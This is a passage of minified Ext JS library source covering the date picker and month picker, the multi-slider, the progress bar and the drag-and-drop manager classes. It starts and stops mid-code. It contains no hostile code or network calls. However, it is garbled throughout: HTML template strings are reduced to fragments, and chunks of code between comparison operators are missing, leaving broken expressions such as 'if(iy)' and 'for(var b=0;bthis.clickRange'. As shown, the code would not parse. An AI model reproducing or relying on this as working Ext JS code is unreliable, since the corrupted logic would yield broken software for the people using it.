'],c=this.dayNames,h;for(h=0;h<7;h++){var k=this.startDay+h;if(k>6){k=k-7}a.push("")}a[a.length]="";for(h=0;h<42;h++){if(h%7===0&&h!==0){a[a.length]=""}a[a.length]=''}a.push("
",c[k].substr(0,1),"
');var j=document.createElement("div");j.className="x-date-picker";j.innerHTML=a.join("");e.dom.insertBefore(j,b);this.el=Ext.get(j);this.eventEl=Ext.get(j.firstChild);this.prevRepeater=new Ext.util.ClickRepeater(this.el.child("td.x-date-left a"),{handler:this.showPrevMonth,scope:this,preventDefault:true,stopDefault:true});this.nextRepeater=new Ext.util.ClickRepeater(this.el.child("td.x-date-right a"),{handler:this.showNextMonth,scope:this,preventDefault:true,stopDefault:true});this.monthPicker=this.el.down("div.x-date-mp");this.monthPicker.enableDisplayMode("block");this.keyNav=new Ext.KeyNav(this.eventEl,{left:function(d){if(d.ctrlKey){this.showPrevMonth()}else{this.update(this.activeDate.add("d",-1))}},right:function(d){if(d.ctrlKey){this.showNextMonth()}else{this.update(this.activeDate.add("d",1))}},up:function(d){if(d.ctrlKey){this.showNextYear()}else{this.update(this.activeDate.add("d",-7))}},down:function(d){if(d.ctrlKey){this.showPrevYear()}else{this.update(this.activeDate.add("d",7))}},pageUp:function(d){this.showNextMonth()},pageDown:function(d){this.showPrevMonth()},enter:function(d){d.stopPropagation();return true},scope:this});this.el.unselectable();this.cells=this.el.select("table.x-date-inner tbody td");this.textNodes=this.el.query("table.x-date-inner tbody span");this.mbtn=new Ext.Button({text:" ",tooltip:this.monthYearText,renderTo:this.el.child("td.x-date-middle",true)});this.mbtn.el.child("em").addClass("x-btn-arrow");if(this.showToday){this.todayKeyListener=this.eventEl.addKeyListener(Ext.EventObject.SPACE,this.selectToday,this);var g=(new Date()).dateFormat(this.format);this.todayBtn=new Ext.Button({renderTo:this.el.child("td.x-date-bottom",true),text:String.format(this.todayText,g),tooltip:String.format(this.todayTip,g),handler:this.selectToday,scope:this})}this.mon(this.eventEl,"mousewheel",this.handleMouseWheel,this);this.mon(this.eventEl,"click",this.handleDateClick,this,{delegate:"a.x-date-date"});this.mon(this.mbtn,"click",this.showMonthPicker,this);this.onEnable(true)},createMonthPicker:function(){if(!this.monthPicker.dom.firstChild){var a=[''];for(var b=0;b<6;b++){a.push('",'",b===0?'':'')}a.push('","
',Date.getShortMonthName(b),"',Date.getShortMonthName(b+6),"
");this.monthPicker.update(a.join(""));this.mon(this.monthPicker,"click",this.onMonthClick,this);this.mon(this.monthPicker,"dblclick",this.onMonthDblClick,this);this.mpMonths=this.monthPicker.select("td.x-date-mp-month");this.mpYears=this.monthPicker.select("td.x-date-mp-year");this.mpMonths.each(function(c,d,e){e+=1;if((e%2)===0){c.dom.xmonth=5+Math.round(e*0.5)}else{c.dom.xmonth=Math.round((e-1)*0.5)}})}},showMonthPicker:function(){if(!this.disabled){this.createMonthPicker();var a=this.el.getSize();this.monthPicker.setSize(a);this.monthPicker.child("table").setSize(a);this.mpSelMonth=(this.activeDate||this.value).getMonth();this.updateMPMonth(this.mpSelMonth);this.mpSelYear=(this.activeDate||this.value).getFullYear();this.updateMPYear(this.mpSelYear);this.monthPicker.slideIn("t",{duration:0.2})}},updateMPYear:function(e){this.mpyear=e;var c=this.mpYears.elements;for(var b=1;b<=10;b++){var d=c[b-1],a;if((b%2)===0){a=e+Math.round(b*0.5);d.firstChild.innerHTML=a;d.xyear=a}else{a=e-(5-Math.round(b*0.5));d.firstChild.innerHTML=a;d.xyear=a}this.mpYears.item(b-1)[a==this.mpSelYear?"addClass":"removeClass"]("x-date-mp-sel")}},updateMPMonth:function(a){this.mpMonths.each(function(b,c,d){b[b.dom.xmonth==a?"addClass":"removeClass"]("x-date-mp-sel")})},selectMPMonth:function(a){},onMonthClick:function(g,b){g.stopEvent();var c=new Ext.Element(b),a;if(c.is("button.x-date-mp-cancel")){this.hideMonthPicker()}else{if(c.is("button.x-date-mp-ok")){var h=new Date(this.mpSelYear,this.mpSelMonth,(this.activeDate||this.value).getDate());if(h.getMonth()!=this.mpSelMonth){h=new Date(this.mpSelYear,this.mpSelMonth,1).getLastDateOfMonth()}this.update(h);this.hideMonthPicker()}else{if((a=c.up("td.x-date-mp-month",2))){this.mpMonths.removeClass("x-date-mp-sel");a.addClass("x-date-mp-sel");this.mpSelMonth=a.dom.xmonth}else{if((a=c.up("td.x-date-mp-year",2))){this.mpYears.removeClass("x-date-mp-sel");a.addClass("x-date-mp-sel");this.mpSelYear=a.dom.xyear}else{if(c.is("a.x-date-mp-prev")){this.updateMPYear(this.mpyear-10)}else{if(c.is("a.x-date-mp-next")){this.updateMPYear(this.mpyear+10)}}}}}}},onMonthDblClick:function(d,b){d.stopEvent();var c=new Ext.Element(b),a;if((a=c.up("td.x-date-mp-month",2))){this.update(new Date(this.mpSelYear,a.dom.xmonth,(this.activeDate||this.value).getDate()));this.hideMonthPicker()}else{if((a=c.up("td.x-date-mp-year",2))){this.update(new Date(a.dom.xyear,this.mpSelMonth,(this.activeDate||this.value).getDate()));this.hideMonthPicker()}}},hideMonthPicker:function(a){if(this.monthPicker){if(a===true){this.monthPicker.hide()}else{this.monthPicker.slideOut("t",{duration:0.2})}}},showPrevMonth:function(a){this.update(this.activeDate.add("mo",-1))},showNextMonth:function(a){this.update(this.activeDate.add("mo",1))},showPrevYear:function(){this.update(this.activeDate.add("y",-1))},showNextYear:function(){this.update(this.activeDate.add("y",1))},handleMouseWheel:function(a){a.stopEvent();if(!this.disabled){var b=a.getWheelDelta();if(b>0){this.showPrevMonth()}else{if(b<0){this.showNextMonth()}}}},handleDateClick:function(b,a){b.stopEvent();if(!this.disabled&&a.dateValue&&!Ext.fly(a.parentNode).hasClass("x-date-disabled")){this.cancelFocus=this.focusOnSelect===false;this.setValue(new Date(a.dateValue));delete this.cancelFocus;this.fireEvent("select",this,this.value)}},selectToday:function(){if(this.todayBtn&&!this.todayBtn.disabled){this.setValue(new Date().clearTime());this.fireEvent("select",this,this.value)}},update:function(G,A){if(this.rendered){var a=this.activeDate,p=this.isVisible();this.activeDate=G;if(!A&&a&&this.el){var o=G.getTime();if(a.getMonth()==G.getMonth()&&a.getFullYear()==G.getFullYear()){this.cells.removeClass("x-date-selected");this.cells.each(function(d){if(d.dom.firstChild.dateValue==o){d.addClass("x-date-selected");if(p&&!this.cancelFocus){Ext.fly(d.dom.firstChild).focus(50)}return false}},this);return}}var k=G.getDaysInMonth(),q=G.getFirstDateOfMonth(),g=q.getDay()-this.startDay;if(g<0){g+=7}k+=g;var B=G.add("mo",-1),h=B.getDaysInMonth()-g,e=this.cells.elements,r=this.textNodes,D=(new Date(B.getFullYear(),B.getMonth(),h,this.initHour)),C=new Date().clearTime().getTime(),v=G.clearTime(true).getTime(),u=this.minDate?this.minDate.clearTime(true):Number.NEGATIVE_INFINITY,y=this.maxDate?this.maxDate.clearTime(true):Number.POSITIVE_INFINITY,F=this.disabledDatesRE,s=this.disabledDatesText,I=this.disabledDays?this.disabledDays.join(""):false,E=this.disabledDaysText,z=this.format;if(this.showToday){var m=new Date().clearTime(),c=(my||(F&&z&&F.test(m.dateFormat(z)))||(I&&I.indexOf(m.getDay())!=-1));if(!this.disabled){this.todayBtn.setDisabled(c);this.todayKeyListener[c?"disable":"enable"]()}}var l=function(J,d){d.title="";var i=D.clearTime(true).getTime();d.firstChild.dateValue=i;if(i==C){d.className+=" x-date-today";d.title=J.todayText}if(i==v){d.className+=" x-date-selected";if(p){Ext.fly(d.firstChild).focus(50)}}if(iy){d.className=" x-date-disabled";d.title=J.maxText;return}if(I){if(I.indexOf(D.getDay())!=-1){d.title=E;d.className=" x-date-disabled"}}if(F&&z){var w=D.dateFormat(z);if(F.test(w)){d.title=s.replace("%0",w);d.className=" x-date-disabled"}}};var x=0;for(;x=a.value){d=a.value}}c.setValue(b,d,false);c.fireEvent("drag",c,g,this)},getNewValue:function(){var a=this.slider,b=a.innerEl.translatePoints(this.tracker.getXY());return Ext.util.Format.round(a.reverseValue(b.left),a.decimalPrecision)},onDragEnd:function(c){var a=this.slider,b=this.value;this.el.removeClass("x-slider-thumb-drag");this.dragging=false;a.fireEvent("dragend",a,c);if(this.dragStartValue!=b){a.fireEvent("changecomplete",a,b,this)}},destroy:function(){Ext.destroyMembers(this,"tracker","el")}});Ext.slider.MultiSlider=Ext.extend(Ext.BoxComponent,{vertical:false,minValue:0,maxValue:100,decimalPrecision:0,keyIncrement:1,increment:0,clickRange:[5,15],clickToChange:true,animate:true,constrainThumbs:true,topThumbZIndex:10000,initComponent:function(){if(!Ext.isDefined(this.value)){this.value=this.minValue}this.thumbs=[];Ext.slider.MultiSlider.superclass.initComponent.call(this);this.keyIncrement=Math.max(this.increment,this.keyIncrement);this.addEvents("beforechange","change","changecomplete","dragstart","drag","dragend");if(this.values==undefined||Ext.isEmpty(this.values)){this.values=[0]}var a=this.values;for(var b=0;bthis.clickRange[0]&&c.top=c){d+=c}else{if(a*2<-c){d-=c}}}return d.constrain(this.minValue,this.maxValue)},afterRender:function(){Ext.slider.MultiSlider.superclass.afterRender.apply(this,arguments);for(var c=0;ce?e:c.value}this.syncThumb()},setValue:function(d,c,b,g){var a=this.thumbs[d],e=a.el;c=this.normalizeValue(c);if(c!==a.value&&this.fireEvent("beforechange",this,c,a.value,a)!==false){a.value=c;if(this.rendered){this.moveThumb(d,this.translateValue(c),b!==false);this.fireEvent("change",this,c,a);if(g){this.fireEvent("changecomplete",this,c,a)}}}},translateValue:function(a){var b=this.getRatio();return(a*b)-(this.minValue*b)-this.halfThumb},reverseValue:function(b){var a=this.getRatio();return(b+(this.minValue*a))/a},moveThumb:function(d,c,b){var a=this.thumbs[d].el;if(!b||this.animate===false){a.setLeft(c)}else{a.shift({left:c,stopFx:true,duration:0.35})}},focus:function(){this.focusEl.focus(10)},onResize:function(c,e){var b=this.thumbs,a=b.length,d=0;for(;dthis.clickRange[0]&&c.left','
','
','
',"
 
","
","
",'
',"
 
","
","
","");this.el=a?c.insertBefore(a,{cls:this.baseCls},true):c.append(d,{cls:this.baseCls},true);if(this.id){this.el.dom.id=this.id}var b=this.el.dom.firstChild;this.progressBar=Ext.get(b.firstChild);if(this.textEl){this.textEl=Ext.get(this.textEl);delete this.textTopEl}else{this.textTopEl=Ext.get(this.progressBar.dom.firstChild);var e=Ext.get(b.childNodes[1]);this.textTopEl.setStyle("z-index",99).addClass("x-hidden");this.textEl=new Ext.CompositeElement([this.textTopEl.dom.firstChild,e.dom.firstChild]);this.textEl.setWidth(b.offsetWidth)}this.progressBar.setHeight(b.offsetHeight)},afterRender:function(){Ext.ProgressBar.superclass.afterRender.call(this);if(this.value){this.updateProgress(this.value,this.text)}else{this.updateText(this.text)}},updateProgress:function(c,d,b){this.value=c||0;if(d){this.updateText(d)}if(this.rendered&&!this.isDestroyed){var a=Math.floor(c*this.el.dom.firstChild.offsetWidth);this.progressBar.setWidth(a,b===true||(b!==false&&this.animate));if(this.textTopEl){this.textTopEl.removeClass("x-hidden").setWidth(a)}}this.fireEvent("update",this,c,d);return this},wait:function(b){if(!this.waitTimer){var a=this;b=b||{};this.updateText(b.text);this.waitTimer=Ext.TaskMgr.start({run:function(c){var d=b.increment||10;c-=1;this.updateProgress(((((c+d)%d)+1)*(100/d))*0.01,null,b.animate)},interval:b.interval||1000,duration:b.duration,onStop:function(){if(b.fn){b.fn.apply(b.scope||this)}this.reset()},scope:a})}return this},isWaiting:function(){return this.waitTimer!==null},updateText:function(a){this.text=a||" ";if(this.rendered){this.textEl.update(this.text)}return this},syncProgressBar:function(){if(this.value){this.updateProgress(this.value,this.text)}return this},setSize:function(a,c){Ext.ProgressBar.superclass.setSize.call(this,a,c);if(this.textTopEl){var b=this.el.dom.firstChild;this.textEl.setSize(b.offsetWidth,b.offsetHeight)}this.syncProgressBar();return this},reset:function(a){this.updateProgress(0);if(this.textTopEl){this.textTopEl.addClass("x-hidden")}this.clearTimer();if(a===true){this.hide()}return this},clearTimer:function(){if(this.waitTimer){this.waitTimer.onStop=null;Ext.TaskMgr.stop(this.waitTimer);this.waitTimer=null}},onDestroy:function(){this.clearTimer();if(this.rendered){if(this.textEl.isComposite){this.textEl.clear()}Ext.destroyMembers(this,"textEl","progressBar","textTopEl")}Ext.ProgressBar.superclass.onDestroy.call(this)}});Ext.reg("progress",Ext.ProgressBar);(function(){var a=Ext.EventManager;var b=Ext.lib.Dom;Ext.dd.DragDrop=function(e,c,d){if(e){this.init(e,c,d)}};Ext.dd.DragDrop.prototype={id:null,config:null,dragElId:null,handleElId:null,invalidHandleTypes:null,invalidHandleIds:null,invalidHandleClasses:null,startPageX:0,startPageY:0,groups:null,locked:false,lock:function(){this.locked=true},moveOnly:false,unlock:function(){this.locked=false},isTarget:true,padding:null,_domRef:null,__ygDragDrop:true,constrainX:false,constrainY:false,minX:0,maxX:0,minY:0,maxY:0,maintainOffset:false,xTicks:null,yTicks:null,primaryButtonOnly:true,available:false,hasOuterHandles:false,b4StartDrag:function(c,d){},startDrag:function(c,d){},b4Drag:function(c){},onDrag:function(c){},onDragEnter:function(c,d){},b4DragOver:function(c){},onDragOver:function(c,d){},b4DragOut:function(c){},onDragOut:function(c,d){},b4DragDrop:function(c){},onDragDrop:function(c,d){},onInvalidDrop:function(c){},b4EndDrag:function(c){},endDrag:function(c){},b4MouseDown:function(c){},onMouseDown:function(c){},onMouseUp:function(c){},onAvailable:function(){},defaultPadding:{left:0,right:0,top:0,bottom:0},constrainTo:function(j,h,o){if(Ext.isNumber(h)){h={left:h,right:h,top:h,bottom:h}}h=h||this.defaultPadding;var l=Ext.get(this.getEl()).getBox(),d=Ext.get(j),n=d.getScroll(),k,e=d.dom;if(e==document.body){k={x:n.left,y:n.top,width:Ext.lib.Dom.getViewWidth(),height:Ext.lib.Dom.getViewHeight()}}else{var m=d.getXY();k={x:m[0],y:m[1],width:e.clientWidth,height:e.clientHeight}}var i=l.y-k.y,g=l.x-k.x;this.resetConstraints();this.setXConstraint(g-(h.left||0),k.width-g-l.width-(h.right||0),this.xTickSize);this.setYConstraint(i-(h.top||0),k.height-i-l.height-(h.bottom||0),this.yTickSize)},getEl:function(){if(!this._domRef){this._domRef=Ext.getDom(this.id)}return this._domRef},getDragEl:function(){return Ext.getDom(this.dragElId)},init:function(e,c,d){this.initTarget(e,c,d);a.on(this.id,"mousedown",this.handleMouseDown,this)},initTarget:function(e,c,d){this.config=d||{};this.DDM=Ext.dd.DDM;this.groups={};if(typeof e!=="string"){e=Ext.id(e)}this.id=e;this.addToGroup((c)?c:"default");this.handleElId=e;this.setDragElId(e);this.invalidHandleTypes={A:"A"};this.invalidHandleIds={};this.invalidHandleClasses=[];this.applyConfig();this.handleOnAvailable()},applyConfig:function(){this.padding=this.config.padding||[0,0,0,0];this.isTarget=(this.config.isTarget!==false);this.maintainOffset=(this.config.maintainOffset);this.primaryButtonOnly=(this.config.primaryButtonOnly!==false)},handleOnAvailable:function(){this.available=true;this.resetConstraints();this.onAvailable()},setPadding:function(e,c,g,d){if(!c&&0!==c){this.padding=[e,e,e,e]}else{if(!g&&0!==g){this.padding=[e,c,e,c]}else{this.padding=[e,c,g,d]}}},setInitPosition:function(g,e){var h=this.getEl();if(!this.DDM.verifyEl(h)){return}var d=g||0;var c=e||0;var i=b.getXY(h);this.initPageX=i[0]-d;this.initPageY=i[1]-c;this.lastPageX=i[0];this.lastPageY=i[1];this.setStartPosition(i)},setStartPosition:function(d){var c=d||b.getXY(this.getEl());this.deltaSetXY=null;this.startPageX=c[0];this.startPageY=c[1]},addToGroup:function(c){this.groups[c]=true;this.DDM.regDragDrop(this,c)},removeFromGroup:function(c){if(this.groups[c]){delete this.groups[c]}this.DDM.removeDDFromGroup(this,c)},setDragElId:function(c){this.dragElId=c},setHandleElId:function(c){if(typeof c!=="string"){c=Ext.id(c)}this.handleElId=c;this.DDM.regHandle(this.id,c)},setOuterHandleElId:function(c){if(typeof c!=="string"){c=Ext.id(c)}a.on(c,"mousedown",this.handleMouseDown,this);this.setHandleElId(c);this.hasOuterHandles=true},unreg:function(){a.un(this.id,"mousedown",this.handleMouseDown);this._domRef=null;this.DDM._remove(this)},destroy:function(){this.unreg()},isLocked:function(){return(this.DDM.isLocked()||this.locked)},handleMouseDown:function(g,d){if(this.primaryButtonOnly&&g.button!=0){return}if(this.isLocked()){return}this.DDM.refreshCache(this.groups);var c=new Ext.lib.Point(Ext.lib.Event.getPageX(g),Ext.lib.Event.getPageY(g));if(!this.hasOuterHandles&&!this.DDM.isOverTarget(c,this)){}else{if(this.clickValidator(g)){this.setStartPosition();this.b4MouseDown(g);this.onMouseDown(g);this.DDM.handleMouseDown(g,this);this.DDM.stopEvent(g)}else{}}},clickValidator:function(d){var c=d.getTarget();return(this.isValidHandleChild(c)&&(this.id==this.handleElId||this.DDM.handleWasClicked(c,this.id)))},addInvalidHandleType:function(c){var d=c.toUpperCase();this.invalidHandleTypes[d]=d},addInvalidHandleId:function(c){if(typeof c!=="string"){c=Ext.id(c)}this.invalidHandleIds[c]=c},addInvalidHandleClass:function(c){this.invalidHandleClasses.push(c)},removeInvalidHandleType:function(c){var d=c.toUpperCase();delete this.invalidHandleTypes[d]},removeInvalidHandleId:function(c){if(typeof c!=="string"){c=Ext.id(c)}delete this.invalidHandleIds[c]},removeInvalidHandleClass:function(d){for(var e=0,c=this.invalidHandleClasses.length;e=this.minX;d=d-c){if(!e[d]){this.xTicks[this.xTicks.length]=d;e[d]=true}}for(d=this.initPageX;d<=this.maxX;d=d+c){if(!e[d]){this.xTicks[this.xTicks.length]=d;e[d]=true}}this.xTicks.sort(this.DDM.numericSort)},setYTicks:function(g,c){this.yTicks=[];this.yTickSize=c;var e={};for(var d=this.initPageY;d>=this.minY;d=d-c){if(!e[d]){this.yTicks[this.yTicks.length]=d;e[d]=true}}for(d=this.initPageY;d<=this.maxY;d=d+c){if(!e[d]){this.yTicks[this.yTicks.length]=d;e[d]=true}}this.yTicks.sort(this.DDM.numericSort)},setXConstraint:function(e,d,c){this.leftConstraint=e;this.rightConstraint=d;this.minX=this.initPageX-e;this.maxX=this.initPageX+d;if(c){this.setXTicks(this.initPageX,c)}this.constrainX=true},clearConstraints:function(){this.constrainX=false;this.constrainY=false;this.clearTicks()},clearTicks:function(){this.xTicks=null;this.yTicks=null;this.xTickSize=0;this.yTickSize=0},setYConstraint:function(c,e,d){this.topConstraint=c;this.bottomConstraint=e;this.minY=this.initPageY-c;this.maxY=this.initPageY+e;if(d){this.setYTicks(this.initPageY,d)}this.constrainY=true},resetConstraints:function(){if(this.initPageX||this.initPageX===0){var d=(this.maintainOffset)?this.lastPageX-this.initPageX:0;var c=(this.maintainOffset)?this.lastPageY-this.initPageY:0;this.setInitPosition(d,c)}else{this.setInitPosition()}if(this.constrainX){this.setXConstraint(this.leftConstraint,this.rightConstraint,this.xTickSize)}if(this.constrainY){this.setYConstraint(this.topConstraint,this.bottomConstraint,this.yTickSize)}},getTick:function(k,g){if(!g){return k}else{if(g[0]>=k){return g[0]}else{for(var d=0,c=g.length;d=k){var j=k-g[d];var h=g[e]-k;return(h>j)?g[d]:g[e]}}return g[g.length-1]}}},toString:function(){return("DragDrop "+this.id)}}})();if(!Ext.dd.DragDropMgr){Ext.dd.DragDropMgr=function(){var a=Ext.EventManager;return{ids:{},handleIds:{},dragCurrent:null,dragOvers:{},deltaX:0,deltaY:0,preventDefault:true,stopPropagation:true,initialized:false,locked:false,init:function(){this.initialized=true},POINT:0,INTERSECT:1,mode:0,_execOnAll:function(d,c){for(var e in this.ids){for(var b in this.ids[e]){var g=this.ids[e][b];if(!this.isTypeOfDD(g)){continue}g[d].apply(g,c)}}},_onLoad:function(){this.init();a.on(document,"mouseup",this.handleMouseUp,this,true);a.on(document,"mousemove",this.handleMouseMove,this,true);a.on(window,"unload",this._onUnload,this,true);a.on(window,"resize",this._onResize,this,true)},_onResize:function(b){this._execOnAll("resetConstraints",[])},lock:function(){this.locked=true},unlock:function(){this.locked=false},isLocked:function(){return this.locked},locationCache:{},useCache:true,clickPixelThresh:3,clickTimeThresh:350,dragThreshMet:false,clickTimeout:null,startX:0,startY:0,regDragDrop:function(c,b){if(!this.initialized){this.init()}if(!this.ids[b]){this.ids[b]={}}this.ids[b][c.id]=c},removeDDFromGroup:function(d,b){if(!this.ids[b]){this.ids[b]={}}var c=this.ids[b];if(c&&c[d.id]){delete c[d.id]}},_remove:function(c){for(var b in c.groups){if(b&&this.ids[b]&&this.ids[b][c.id]){delete this.ids[b][c.id]}}delete this.handleIds[c.id]},regHandle:function(c,b){if(!this.handleIds[c]){this.handleIds[c]={}}this.handleIds[c][b]=b},isDragDrop:function(b){return(this.getDDById(b))?true:false},getRelated:function(h,c){var g=[];for(var e in h.groups){for(var d in this.ids[e]){var b=this.ids[e][d];if(!this.isTypeOfDD(b)){continue}if(!c||b.isTarget){g[g.length]=b}}}return g},isLegalTarget:function(g,e){var c=this.getRelated(g,true);for(var d=0,b=c.length;dthis.clickPixelThresh||b>this.clickPixelThresh){this.startDrag(this.startX,this.startY)}}if(this.dragThreshMet){this.dragCurrent.b4Drag(d);this.dragCurrent.onDrag(d);if(!this.dragCurrent.moveOnly){this.fireEvents(d,false)}}this.stopEvent(d);return true},fireEvents:function(n,o){var q=this.dragCurrent;if(!q||q.isLocked()){return}var r=n.getPoint();var b=[];var g=[];var l=[];var j=[];var d=[];for(var h in this.dragOvers){var c=this.dragOvers[h];if(!this.isTypeOfDD(c)){continue}if(!this.isOverTarget(r,c,this.mode)){g.push(c)}b[h]=true;delete this.dragOvers[h]}for(var p in q.groups){if("string"!=typeof p){continue}for(h in this.ids[p]){var k=this.ids[p][h];if(!this.isTypeOfDD(k)){continue}if(k.isTarget&&!k.isLocked()&&((k!=q)||(q.ignoreSelf===false))){if(this.isOverTarget(r,k,this.mode)){if(o){j.push(k)}else{if(!b[k.id]){d.push(k)}else{l.push(k)}this.dragOvers[k.id]=k}}}}}if(this.mode){if(g.length){q.b4DragOut(n,g);q.onDragOut(n,g)}if(d.length){q.onDragEnter(n,d)}if(l.length){q.b4DragOver(n,l);q.onDragOver(n,l)}if(j.length){q.b4DragDrop(n,j);q.onDragDrop(n,j)}}else{var m=0;for(h=0,m=g.length;h2000){}else{setTimeout(b._addListeners,10);if(document&&document.body){b._timeoutCount+=1}}}},handleWasClicked:function(b,d){if(this.isHandle(d,b.id)){return true}else{var c=b.parentNode;while(c){if(this.isHandle(d,c.id)){return true}else{c=c.parentNode}}}return false}}}();Ext.dd.DDM=Ext.dd.DragDropMgr;Ext.dd.DDM._addListeners()}Ext.dd.DD=function(c,a,b){if(c){this.init(c,a,b)}};Ext.extend(Ext.dd.DD,Ext.dd.DragDrop,{scroll:true,autoOffset:function(c,b){var a=c-this.startPageX;var d=b-this.startPageY;this.setDelta(a,d)},setDelta:function(b,a){this.deltaX=b;this.deltaY=a},setDragElPos:function(c,b){var a=this.getDragEl();this.alignElWithMouse(a,c,b)},alignElWithMouse:function(c,h,g){var e=this.getTargetCoord(h,g);var b=c.dom?c:Ext.fly(c,"_dd");if(!this.deltaSetXY){var i=[e.x,e.y];b.setXY(i);var d=b.getLeft(true);var a=b.getTop(true);this.deltaSetXY=[d-e.x,a-e.y]}else{b.setLeftTop(e.x+this.deltaSetXY[0],e.y+this.deltaSetXY[1])}this.cachePosition(e.x,e.y);this.autoScroll(e.x,e.y,c.offsetHeight,c.offsetWidth);return e},cachePosition:function(b,a){if(b){this.lastPageX=b;this.lastPageY=a}else{var c=Ext.lib.Dom.getXY(this.getEl());this.lastPageX=c[0];this.lastPageY=c[1]}},autoScroll:function(l,k,e,m){if(this.scroll){var n=Ext.lib.Dom.getViewHeight();var b=Ext.lib.Dom.getViewWidth();var p=this.DDM.getScrollTop();var d=this.DDM.getScrollLeft();var j=e+k;var o=m+l;var i=(n+p-k-this.deltaY);var g=(b+d-l-this.deltaX);var c=40;var a=(document.all)?80:30;if(j>n&&i0&&k-pb&&g0&&l-dthis.maxX){a=this.maxX}}if(this.constrainY){if(dthis.maxY){d=this.maxY}}a=this.getTick(a,this.xTicks);d=this.getTick(d,this.yTicks);return{x:a,y:d}},applyConfig:function(){Ext.dd.DD.superclass.applyConfig.call(this);this.scroll=(this.config.scroll!==false)},b4MouseDown:function(a){this.autoOffset(a.getPageX(),a.getPageY())},b4Drag:function(a){this.setDragElPos(a.getPageX(),a.getPageY())},toString:function(){return("DD "+this.id)}});Ext.dd.DDProxy=function(c,a,b){if(c){this.init(c,a,b);this.initFrame()}};Ext.dd.DDProxy.dragElId="ygddfdiv";Ext.extend(Ext.dd.DDProxy,Ext.dd.DD,{resizeFrame:true,centerFrame:false,createFrame:function(){var b=this;var a=document.body;if(!a||!a.firstChild){setTimeout(function(){b.createFrame()},50);return}var d=this.getDragEl();if(!d){d=document.createElement("div");d.id=this.dragElId;var c=d.style;c.position="absolute";c.visibility="hidden";c.cursor="move";c.border="2px solid #aaa";c.zIndex=999;a.insertBefore(d,a.firstChild)}},initFrame:function(){this.createFrame()},applyConfig:function(){Ext.dd.DDProxy.superclass.applyConfig.call(this);this.resizeFrame=(this.config.resizeFrame!==false);this.centerFrame=(this.config.centerFrame);this.setDragElId(this.config.dragElId||Ext.dd.DDProxy.dragElId)},showFrame:function(e,d){var c=this.getEl();var a=this.getDragEl();var b=a.style;this._resizeProxy();if(this.centerFrame){this.setDelta(Math.round(parseInt(b.width,10)/2),Math.round(parseInt(b.height,10)/2))}this.setDragElPos(e,d);Ext.fly(a).show()},_resizeProxy:function(){if(this.resizeFrame){var a=this.getEl();Ext.fly(this.getDragEl()).setSize(a.offsetWidth,a.offsetHeight)}},b4MouseDown:function(b){var a=b.getPageX();var c=b.getPageY();this.autoOffset(a,c);this.setDragElPos(a,c)},b4StartDrag:function(a,b){this.showFrame(a,b)},b4EndDrag:function(a){Ext.fly(this.getDragEl()).hide()},endDrag:function(c){var b=this.getEl();var a=this.getDragEl();a.style.visibility="";this.beforeMove();b.style.visibility="hidden";Ext.dd.DDM.moveToEl(b,a);a.style.visibility="hidden";b.style.visibility="";this.afterDrag()},beforeMove:function(){},afterDrag:function(){},toString:function(){return("DDProxy "+this.id)}});Ext.dd.DDTarget=function(c,a,b){if(c){this.initTarget(c,a,b)}};Ext.extend(Ext.dd.DDTarget,Ext.dd.DragDrop,{getDragEl:Ext.emptyFn,isValidHandleChild:Ext.emptyFn,startDrag:Ext.emptyFn,endDrag:Ext.emptyFn,onDrag:Ext.emptyFn,onDragDrop:Ext.emptyFn,onDragEnter:Ext.emptyFn,onDragOut:Ext.emptyFn,onDragOver:Ext.emptyFn,onInvalidDrop:Ext.emptyFn,onMouseDown:Ext.emptyFn,onMouseUp:Ext.emptyFn,setXConstraint:Ext.emptyFn,setYConstraint:Ext.emptyFn,resetConstraints:Ext.emptyFn,clearConstraints:Ext.emptyFn,clearTicks:Ext.emptyFn,setInitPosition:Ext.emptyFn,setDragElId:Ext.emptyFn,setHandleElId:Ext.emptyFn,setOuterHandleElId:Ext.emptyFn,addInvalidHandleClass:Ext.emptyFn,addInvalidHandleId:Ext.emptyFn,addInvalidHandleType:Ext.emptyFn,removeInvalidHandleClass:Ext.emptyFn,removeInvalidHandleId:Ext.emptyFn,removeInvalidHandleType:Ext.emptyFn,toString:function(){return("DDTarget "+this.id)}});Ext.dd.DragTracker=Ext.extend(Ext.util.Observable,{active:false,tolerance:5,autoStart:false,constructor:function(a){Ext.apply(this,a);this.addEvents("mousedown","mouseup","mousemove","dragstart","dragend","drag");this.dragRegion=new Ext.lib.Region(0,0,0,0);if(this.el){this.initEl(this.el)}Ext.dd.DragTracker.superclass.constructor.call(this,a)},initEl:function(a){this.el=Ext.get(a);a.on("mousedown",this.onMouseDown,this,this.delegate?{delegate:this.delegate}:undefined)},destroy:function(){this.el.un("mousedown",this.onMouseDown,this);delete this.el},onMouseDown:function(b,a){if(this.fireEvent("mousedown",this,b)!==false&&this.onBeforeStart(b)!==false){this.startXY=this.lastXY=b.getXY();this.dragTarget=this.delegate?a:this.el.dom;if(this.preventDefault!==false){b.preventDefault()}Ext.getDoc().on({scope:this,mouseup:this.onMouseUp,mousemove:this.onMouseMove,selectstart:this.stopSelect});if(this.autoStart){this.timer=this.triggerStart.defer(this.autoStart===true?1000:this.autoStart,this,[b])}}},onMouseMove:function(d,c){if(this.active&&Ext.isIE&&!d.browserEvent.button){d.preventDefault();this.onMouseUp(d);return}d.preventDefault();var b=d.getXY(),a=this.startXY;this.lastXY=b;if(!this.active){if(Math.abs(a[0]-b[0])>this.tolerance||Math.abs(a[1]-b[1])>this.tolerance){this.triggerStart(d)}else{return}}this.fireEvent("mousemove",this,d);this.onDrag(d);this.fireEvent("drag",this,d)},onMouseUp:function(c){var b=Ext.getDoc(),a=this.active;b.un("mousemove",this.onMouseMove,this);b.un("mouseup",this.onMouseUp,this);b.un("selectstart",this.stopSelect,this);c.preventDefault();this.clearStart();this.active=false;delete this.elRegion;this.fireEvent("mouseup",this,c);if(a){this.onEnd(c);this.fireEvent("dragend",this,c)}},triggerStart:function(a){this.clearStart();this.active=true;this.onStart(a);this.fireEvent("dragstart",this,a)},clearStart:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},stopSelect:function(a){a.stopEvent();return false},onBeforeStart:function(a){},onStart:function(a){},onDrag:function(a){},onEnd:function(a){},getDragTarget:function(){return this.dragTarget},getDragCt:function(){return this.el},getXY:function(a){return a?this.constrainModes[a].call(this,this.lastXY):this.lastXY},getOffset:function(c){var b=this.getXY(c),a=this.startXY;return[a[0]-b[0],a[1]-b[1]]},constrainModes:{point:function(b){if(!this.elRegion){this.elRegion=this.getDragCt().getRegion()}var 